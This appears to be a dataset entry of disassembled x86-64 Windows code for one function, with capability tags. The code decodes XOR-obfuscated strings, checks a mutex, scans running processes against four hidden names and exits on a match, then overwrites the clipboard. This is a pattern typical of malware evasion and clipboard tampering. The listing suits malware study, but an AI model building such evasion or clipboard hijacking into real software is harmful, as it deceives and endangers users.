Function at 0x140051130
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Enumerate processes
Open clipboard
Terminate process
Write clipboard data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
sub rsp, 0x210
lea rbp, [rsp + 0x40]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x1401ba600]
xor rax, rsp
mov qword [rbp + 0x1c0], rax
movabs rcx, 0x7236644ccb45a860
lea r8, [rbp + 0x20]
movabs rax, 0x589eaf8241e189c0
movabs rbx, 0x69ad9db372d3b8f5
mov qword [rbp], rax
movabs rdi, 0xb6d385961f908106
mov rax, qword [rbp]
mov edx, 1
mov qword [rbp + 0x20], rax
movabs rax, 0x85e1b4a52da1b234
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0x8de6d29fef93476
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
movabs rax, 0x8de6d29fef90647
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b0], rax
mov qword [rbp], rcx
xor ecx, ecx
mov rax, qword [rbp]
mov qword [rbp + 0x1b8], rax
vmovdqu ymm0, ymmword [rbp + 0x1a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0x20], ymm1
vzeroupper
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x14005153a
movabs rax, 0x47c6eed636aad6b4
xor edx, edx
mov qword [rbp], rax
mov ecx, 2
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
movabs rax, 0xb6d385961ff5f963
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x10]
mov qword [rbp + 0x1a8], rax
lea rax, [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x1a0]
mov qword [rbp + 0x40], rax
movabs rax, 0x1ec8f4e51fb2dda1
movdqa xmmword [rbp + 0x10], xmm0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
movabs rax, 0xb6d3e0ee7abef363
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x10]
mov qword [rbp + 0x1a8], rax
lea rax, [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x1a0]
mov qword [rbp + 0x48], rax
movabs rax, 0x1adefcd811bacd84
movdqa xmmword [rbp + 0x10], xmm0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
movabs rax, 0xb6b6fdf331e4f26f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x10]
mov qword [rbp + 0x1a8], rax
lea rax, [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x1a0]
mov qword [rbp + 0x50], rax
movabs rax, 0xc83fed601a1d985
movdqa xmmword [rbp + 0x10], xmm0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
movabs rax, 0xb6d385961f90e47e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp], rdi
mov rax, qword [rbp]
lea rax, [rbp + 0x1a0]
mov qword [rbp + 0x58], rax
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14005143f
lea rdx, [rbp + 0x60]
mov dword [rbp + 0x60], 0x130
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140051436
nop word [rax + rax]
xor ebx, ebx
mov rdx, qword [rbp + rbx*8 + 0x40]
lea rcx, [rbp + 0x8c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x14005150c
inc rbx
cmp rbx, 4
jl 0x140051402
lea rdx, [rbp + 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140051400
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x1a0]
call fcn.1400088d0
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1400514cd
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, qword [rbp + 0x1b0]
mov ecx, 2
inc rdx
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rsi, rax
test rax, rax
je 0x1400514c7
cmp qword [rbp + 0x1b8], 0xf
lea rdi, [rbp + 0x1a0]
mov rbx, qword [rbp + 0x1b0]
mov rcx, rax
cmova rdi, qword [rbp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_GlobalLock]
lea r8, [rbx + 1]
mov rdx, rdi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rdx, rsi
mov ecx, 1
call qword [sym.imp.USER32.dll_SetClipboardData]
call qword [sym.imp.USER32.dll_CloseClipboard]
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0xf
jbe 0x140051523
mov rcx, qword [rbp + 0x1a0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005151e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005151e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.14013fd60
call fcn.14000aba0
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rcx, qword [rbp + 0x1c0]
xor rcx, rsp
call fcn.14013fd40
lea r11, [rsp + 0x210]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret